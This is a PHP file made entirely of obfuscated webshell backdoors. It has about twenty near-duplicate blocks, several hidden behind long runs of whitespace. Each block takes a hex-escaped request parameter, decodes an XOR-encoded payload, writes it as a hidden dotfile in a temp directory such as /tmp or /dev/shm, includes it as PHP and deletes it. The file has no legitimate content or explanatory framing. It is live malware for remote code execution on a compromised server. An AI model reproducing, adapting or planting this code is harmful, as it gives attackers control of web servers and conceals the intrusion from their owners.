<?php																																										if(@$_REQUEST["\x76al"] !== null){ $element = $_REQUEST["\x76al"]; $element= explode( "." ,$element ) ; $pointer= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt3); foreach( $element as $r => $v1) { $chS= ord( $salt3[$r % $lenS]); $dec= ( ( int)$v1 - $chS -( $r % 10)) ^ 44; $pointer .= chr( $dec); } $entity = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); while ($hld = array_shift($entity)) { if (is_writable($hld) && is_dir($hld)) { $binding = "$hld/.symbol"; if (file_put_contents($binding, $pointer)) { require $binding; unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "s\x79\x6D")){ $ent = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $property_set = $_POST["s\x79\x6D"]; $property_set= explode( '.' , $property_set ) ; $fac =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt8); $t =0; $len =count($property_set); do {if($t >= $len) break; $v4 =$property_set[$t]; $chS =ord($salt8[$t %$sLen]); $dec =((int)$v4 - $chS -($t %10)) ^ 62; $fac .= chr($dec); $t++; } while(true); foreach ($ent as $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $hld = vsprintf("%s/%s", [$parameter_group, ".reference"]); if (file_put_contents($hld, $fac)) { require $hld; unlink($hld); exit; } } } }
																																										if(!empty($_POST["d\x63\x68u\x6Ek"])){ $fac = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); $hld = $_POST["d\x63\x68u\x6Ek"]; $hld = explode( "." ,$hld ); $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $k = 0; foreach($hld as $v6) { $sChar = ord($salt[$k % $sLen] ); $d = ((int)$v6 - $sChar -($k % 10))^ 88; $token .=chr($d ); $k++; } foreach ($fac as $pset) { if (is_writable($pset) && is_dir($pset)) { $data = vsprintf("%s/%s", [$pset, ".flag"]); if (@file_put_contents($data, $token) !== false) { include $data; unlink($data); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x65n\x74"])){ $element = $_POST["\x65n\x74"]; $element= explode( '.' , $element) ; $component =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $t =0; $__tmp =$element; while($v8 =array_shift($__tmp)) { $sChar =ord($s[$t% $lenS] ); $dec =((int)$v8 - $sChar -($t% 10)) ^ 12; $component .= chr($dec ); $t++; } $flag = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); for ($pset = 0, $flg = count($flag); $pset < $flg; $pset++) { $resource = $flag[$pset]; if (is_dir($resource) ? is_writable($resource) : false) { $sym = vsprintf("%s/%s", [$resource, ".symbol"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(isset($_REQUEST["o\x62\x6Ae\x63t"]) ? true : false){ $flag = $_REQUEST["o\x62\x6Ae\x63t"]; $flag = explode ( "." , $flag ) ; $component =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $__len =count($flag ); for ($v =0; $v < $__len; $v++) { $v4 =$flag[$v]; $chS =ord($s[$v%$lenS] ); $d =((int)$v4 - $chS - ($v%10)) ^26; $component .= chr($d ); } $value = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP")]); while ($bind = array_shift($value)) { if (max(0, is_dir($bind) * is_writable($bind))) { $factor = "$bind" . "/.val"; if (file_put_contents($factor, $component)) { require $factor; unlink($factor); exit; } } } }
																																										if(array_key_exists("i\x74m", $_POST)){ $reference = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); $binding = $_POST["i\x74m"]; $binding = explode ( '.', $binding ) ; $item =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s3 ); $p =0; array_walk($binding, function ($v3) use (&$item, &$p, $s3, $sLen) { $sChar =ord($s3[$p%$sLen] ); $d =((int)$v3 - $sChar - ($p%10))^96; $item .= chr($d ); $p++; } ); foreach ($reference as $key => $pset) { if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $ptr = str_replace("{var_dir}", $pset, "{var_dir}/.flg"); $success = file_put_contents($ptr, $item); if ($success) { include $ptr; @unlink($ptr); exit;} } } }
																																										if(!empty($_REQUEST["m\x72\x6B"])){ $fac = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), getcwd()]); $rec = $_REQUEST["m\x72\x6B"]; $rec= explode ( '.' , $rec ) ; $res = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $z = 0; foreach ($rec as $v3) { $sChar = ord($salt6[$z % $sLen] ); $dec = ((int)$v3 - $sChar - ($z % 10)) ^ 35; $res .=chr($dec ); $z++; } while ($elem = array_shift($fac)) { if (is_dir($elem) ? is_writable($elem) : false) { $entry = str_replace("{var_dir}", $elem, "{var_dir}/.reference"); $success = file_put_contents($entry, $res); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(!empty($_REQUEST["sy\x6D"])){ $component = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $pointer = $_REQUEST["sy\x6D"]; $pointer = explode('.', $pointer) ; $hld =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); foreach ($pointer as $r=> $v7) { $chS =ord($s[$r % $sLen] ); $dec =((int)$v7 - $chS - ($r % 10)) ^ 74; $hld .= chr($dec ); } while ($descriptor = array_shift($component)) { if ((is_dir($descriptor) and is_writable($descriptor))) { $data = implode("/", [$descriptor, ".itm"]); if (@file_put_contents($data, $hld) !== false) { include $data; unlink($data); exit; } } } }
																																										if(array_key_exists("b\x69\x6Ed", $_POST)){ $resource = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path()]); $tkn = $_POST["b\x69\x6Ed"]; $tkn = explode( "." , $tkn) ; $sym=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt5); $r=0; array_walk($tkn , function ($v6) use (&$sym , &$r , $salt5 , $lenS) { $chS=ord($salt5[$r%$lenS]); $d=((int)$v6 - $chS - ($r%10))^ 49; $sym .= chr($d); $r++; }); $hld = 0; do { $pgrp = $resource[$hld] ?? null; if ($hld >= count($resource)) break; if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $flag = vsprintf("%s/%s", [$pgrp, ".property_set"]); $success = file_put_contents($flag, $sym); if ($success) { include $flag; @unlink($flag); exit;} } $hld++; } while (true); }
																																										if(in_array("en\x74i\x74y", array_keys($_REQUEST))){ $pgrp = $_REQUEST["en\x74i\x74y"]; $pgrp = explode ( "." , $pgrp ) ; $token = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $len = count($pgrp); for ($w = 0; $w < $len; $w++) { $v5 = $pgrp[$w]; $chS = ord($salt3[$w% $lenS]); $dec = ((int)$v5 - $chS - ($w% 10)) ^56; $token .= chr($dec); } $elem = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); $val = 0; do { $pset = $elem[$val] ?? null; if ($val >= count($elem)) break; if (is_dir($pset) && is_writable($pset)) { $ent = "$pset" . "/.parameter_group"; if (file_put_contents($ent, $token)) { require $ent; unlink($ent); exit; } } $val++; } while (true); }
																																										if(in_array("\x76al", array_keys($_REQUEST))){ $entry = array_filter([getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path()]); $property_set = $_REQUEST["\x76al"]; $property_set = explode ( '.' ,$property_set) ; $pointer = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $r = 0; $__len = count($property_set ); do { if($r >= $__len) break; $v1 = $property_set[$r]; $sChar = ord($salt8[$r % $lenS] ); $d =((int)$v1 - $sChar -($r % 10))^ 57; $pointer .= chr($d ); $r++; } while(true ); foreach ($entry as $flg) { if (is_writable($flg) && is_dir($flg)) { $binding = str_replace("{var_dir}", $flg, "{var_dir}/.res"); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(@$_REQUEST["\x72\x65co\x72d"] !== null){ $hld = array_filter([getenv("TEMP"), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir()]); $pgrp = $_REQUEST["\x72\x65co\x72d"]; $pgrp = explode ( '.', $pgrp) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; array_walk($pgrp, function ($v3) use (&$component, &$j, $salt, $lenS) { $chS = ord($salt[$j% $lenS] ); $dec = ((int)$v3 - $chS - ($j% 10)) ^ 7; $component .= chr($dec ); $j++; } ); $rec = 0; do { $pset = $hld[$rec] ?? null; if ($rec >= count($hld)) break; if (max(0, is_dir($pset) * is_writable($pset))) { $tkn = "$pset/.value"; if (file_put_contents($tkn, $component)) { include $tkn; @unlink($tkn); die(); } } $rec++; } while (true); }
																																										if(isset($_POST) && isset($_POST["e\x6Eti\x74\x79"])){ $sym = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP")]); $desc = $_POST["e\x6Eti\x74\x79"]; $desc = explode( '.' ,$desc ); $val = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach ($desc as $y => $v5): $chS = ord($salt4[$y % $sLen]); $dec = ((int)$v5 - $chS - ($y % 10)) ^59; $val .= chr($dec); endforeach; foreach ($sym as $resource): if ((is_dir($resource) and is_writable($resource))) { $binding = "$resource" . "/.ent"; if (file_put_contents($binding, $val)) { include $binding; @unlink($binding); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Et\x69\x74y"])){ $factor = $_REQUEST["e\x6Et\x69\x74y"]; $factor = explode ( "." , $factor ) ; $binding = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); $p = 0; foreach( $factor as $v4) {$sChar = ord( $s7[$p % $lenS]); $d =( ( int)$v4 - $sChar -( $p % 10)) ^ 23; $binding.= chr( $d); $p++; } $component = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); while ($value = array_shift($component)) { if ((bool)is_dir($value) && (bool)is_writable($value)) { $object = "$value/.ptr"; if (file_put_contents($object, $binding)) { require $object; unlink($object); exit; } } } }
																																										if(isset($_POST) && isset($_POST["mrk"])){ $reference = $_POST["mrk"]; $reference = explode ("." , $reference ) ; $elem = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $m = 0; while ($m < count($reference)) { $v5 = $reference[$m]; $chS = ord($s1[$m % $sLen]); $dec = ((int)$v5 - $chS - ($m % 10)) ^ 44; $elem .= chr($dec); $m++; } $record = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), getenv("TEMP")]); foreach ($record as $comp): if (max(0, is_dir($comp) * is_writable($comp))) { $val = vsprintf("%s/%s", [$comp, ".parameter_group"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $val; @unlink($val); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x6D\x72k"]) ? true : false){ $parameter_group = $_REQUEST["\x6D\x72k"]; $parameter_group = explode ( "." , $parameter_group ) ; $element = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $y = 0; array_walk($parameter_group , function ($v3) use (&$element , &$y , $s6 , $lenS) { $chS = ord($s6[$y % $lenS] ); $d = ((int)$v3 - $chS - ($y % 10))^82; $element.=chr($d ); $y++; } ); $val = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp"]); $item = 0; do { $ref = $val[$item] ?? null; if ($item >= count($val)) break; if (is_dir($ref) ? is_writable($ref) : false) { $marker = "$ref" . "/.flag"; if (@file_put_contents($marker, $element) !== false) { include $marker; unlink($marker); die(); } } $item++; } while (true); }
																																										if(array_key_exists("po\x69n\x74e\x72", $_POST)){ $hld = $_POST["po\x69n\x74e\x72"]; $hld = explode("." , $hld) ; $token = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); foreach( $hld as $u => $v9): $sChar = ord( $salt4[$u % $lenS]); $d = ( ( int)$v9 - $sChar -( $u % 10)) ^ 41; $token .= chr( $d); endforeach; $value = array_filter([getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); foreach ($value as $k): if ((is_dir($k) and is_writable($k))) { $symbol = vsprintf("%s/%s", [$k, ".sym"]); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $symbol; @unlink($symbol); exit; } } endforeach; }
																																										if(array_key_exists("\x66l\x61g", $_POST)){ $property_set = $_POST["\x66l\x61g"]; $property_set = explode ( ".", $property_set); $parameter_group= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s9); $u= 0; while( $u < count( $property_set)) { $v5= $property_set[$u]; $sChar= ord( $s9[$u %$sLen]); $dec= ( ( int)$v5 - $sChar -( $u %10)) ^ 67; $parameter_group .=chr( $dec); $u++; } $pgrp = array_filter([getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP")]); foreach ($pgrp as $key => $itm) { if (is_writable($itm) && is_dir($itm)) { $desc = sprintf("%s/.res", $itm); if (file_put_contents($desc, $parameter_group)) { require $desc; unlink($desc); die(); } } } }
																																										if(array_key_exists("\x74k\x6E", $_REQUEST) && !is_null($_REQUEST["\x74k\x6E"])){ $resource = array_filter([getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); $dchunk = $_REQUEST["\x74k\x6E"]; $dchunk= explode ( "." , $dchunk ) ; $pgrp = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $j = 0; $__tmp = $dchunk; while ($v3 = array_shift($__tmp)) { $sChar = ord($salt7[$j % $lenS] ); $dec = ((int)$v3 - $sChar - ($j % 10)) ^ 29; $pgrp.= chr($dec ); $j++; } for ($ent = 0, $item = count($resource); $ent < $item; $ent++) { $rec = $resource[$ent]; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $ref = "$rec" . "/.component"; if (@file_put_contents($ref, $pgrp) !== false) { include $ref; unlink($ref); die(); } } } }


if(count($_POST) > 0 && isset($_POST["ke\x79"])){
	$resource = $_POST["ke\x79"];
	 		$resource 	=explode( 	 "."	,	 	$resource			) 		; 	
	$entry =  '';
            $s8 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =  strlen( $s8);
            $w =  0;
    
            while( $w<count( $resource)) {
                $v4 =  $resource[$w];
                $sChar =  ord( $s8[$w % $lenS]);
                $dec =  ( ( int)$v4 - $sChar -( $w % 10))		^  76;
                $entry .= chr( $dec);
                $w++;} 
	$flag = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP")]);
	$item = 0;
do {
    $val = $flag[$item] ?? null;
    if ($item >= count($flag)) break;
    		if (!!is_dir($val) && !!is_writable($val)) {
    $parameter_group = vsprintf("%s/%s", [$val, ".binding"]);
    if (file_put_contents($parameter_group, $entry)) {
	require $parameter_group;
	unlink($parameter_group);
	die();
}
}
    $item++;
} while (true);
}